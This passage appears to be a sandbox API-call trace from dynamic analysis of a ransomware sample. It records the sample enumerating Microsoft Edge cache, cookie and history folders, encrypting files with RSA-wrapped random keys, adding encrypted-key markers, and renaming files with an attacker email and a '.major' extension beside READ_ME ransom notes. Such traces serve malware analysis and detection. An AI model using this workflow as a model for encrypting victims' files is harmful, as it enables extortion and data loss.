returned 1 [0301.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="USLfIW/49esaGjlCA/7s3AHgh0foR8It5g57Bsv7kSNCkgACvhTpW8ARXgpZntJH\nKfHnaJWODMhiWqILOeKF9goCMrgpQcG2gtN7OIYiz0UID6XwPnN+nPCLOITVmEsU\nxdB8z+5Vln5uRe9u2E+t+iy4YyG7rCjQYoQxSMj/CwuE5fonvrU2KP+nnx9a7O+Q\n5p2/vqho4IWhsu6/O3V0beE26RwlYumoavlhDrcIqSLREtOh8yWDEQ7RWy70IxJ8\nDELxM9nlfcnj8/yWXUSuSEG2dhh5FA2di2TL9hEL4NOHwmykGb5j7JH1gwAEL4l6\nISIfCKgwMVsKXZ9i/QDEog==\n", pcchString=0x2e3f9a8) returned 1 [0301.370] WriteFile (in: hFile=0x1bb8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.371] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.371] WriteFile (in: hFile=0x1bb8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.371] CloseHandle (hObject=0x1bb8) returned 1 [0301.371] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IECompatUaCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\iecompatuacache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.373] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37268 [0301.373] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] FindNextFileW (in: hFindFile=0x2f37268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] FindNextFileW (in: hFindFile=0x2f37268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xcd7afa00, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd7afa00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xcd7afa00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] FindNextFileW (in: hFindFile=0x2f37268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.374] SetLastError (dwErrCode=0x0) [0301.374] GetLastError () returned 0x0 [0301.375] SetLastError (dwErrCode=0x0) [0301.375] FindNextFileW (in: hFindFile=0x2f37268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.375] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.375] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0301.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bbc [0301.376] GetFileSizeEx (in: hFile=0x1bbc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.376] ReadFile (in: hFile=0x1bbc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.376] SetFilePointer (in: hFile=0x1bbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.376] WriteFile (in: hFile=0x1bbc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.376] SetFilePointer (in: hFile=0x1bbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.376] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.376] WriteFile (in: hFile=0x1bbc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FjKDEtDk+uQG+lhNlClaIuyCTNb5zDP4lavQLM9PsJuxkHbBQsqPyk0KkWlkBl00\ntEUNvillCbBAat46DAB1i9ZVDaTo4p0AZRFqws6qmPnx54WxEUk6mC8S7cf7/zG6\nno12QRfMFLaYXWYPAA8AkMld3viT3ssSblYGPaCZkuwVF7OncHOmpJeRljnGDTjO\nXz19H+9BvgxsWgCJ4M8mmZDBe9REpj+Mwa5Uog306LfmGTt8qK4gY3eTvhSLV/Sy\nhFdv6qtxD+rZaBYEg8rXhtLc3oZ45dpmR6ruuzV/KtFwIFm1XMNu2ZYgFCRc2gFJ\n7R7bct8oEhZZhGtF+F2Lrg==\n", pcchString=0x2e3f9a8) returned 1 [0301.378] WriteFile (in: hFile=0x1bbc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.378] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.378] WriteFile (in: hFile=0x1bbc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.378] CloseHandle (hObject=0x1bbc) returned 1 [0301.378] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\IEFlipAheadCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\ieflipaheadcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.380] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f370a8 [0301.380] SetLastError (dwErrCode=0x0) [0301.380] GetLastError () returned 0x0 [0301.380] SetLastError (dwErrCode=0x0) [0301.380] GetLastError () returned 0x0 [0301.380] SetLastError (dwErrCode=0x0) [0301.380] FindNextFileW (in: hFindFile=0x2f370a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12f7729b, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.380] SetLastError (dwErrCode=0x0) [0301.380] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] FindNextFileW (in: hFindFile=0x2f370a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12f7729b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f48a671, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x3f48a671, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] FindNextFileW (in: hFindFile=0x2f370a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] GetLastError () returned 0x0 [0301.381] SetLastError (dwErrCode=0x0) [0301.381] FindNextFileW (in: hFindFile=0x2f370a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50e4a50a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50e4a50a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50e4a50a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.381] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37628 [0301.381] SetLastError (dwErrCode=0x12) [0301.381] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] FindNextFileW (in: hFindFile=0x2f37628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9af0a0eb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9af0a0eb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] FindNextFileW (in: hFindFile=0x2f37628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] GetLastError () returned 0x12 [0301.382] SetLastError (dwErrCode=0x12) [0301.382] FindNextFileW (in: hFindFile=0x2f37628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.382] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37428 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] FindNextFileW (in: hFindFile=0x2f37428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb220f800, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] FindNextFileW (in: hFindFile=0x2f37428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] GetLastError () returned 0x12 [0301.383] SetLastError (dwErrCode=0x12) [0301.383] FindNextFileW (in: hFindFile=0x2f37428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.383] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f372a8 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] FindNextFileW (in: hFindFile=0x2f372a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb220f800, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50f7b8c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] FindNextFileW (in: hFindFile=0x2f372a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb322b8d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb322b8d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb322b8d4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] FindNextFileW (in: hFindFile=0x2f372a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50fa1a41, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.384] GetLastError () returned 0x12 [0301.384] SetLastError (dwErrCode=0x12) [0301.385] FindNextFileW (in: hFindFile=0x2f372a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f7b8c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50f7b8c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50fa1a41, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.385] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0301.385] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bcc [0301.386] GetFileSizeEx (in: hFile=0x1bcc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.386] ReadFile (in: hFile=0x1bcc, lpBuffer=0x59d4b0, 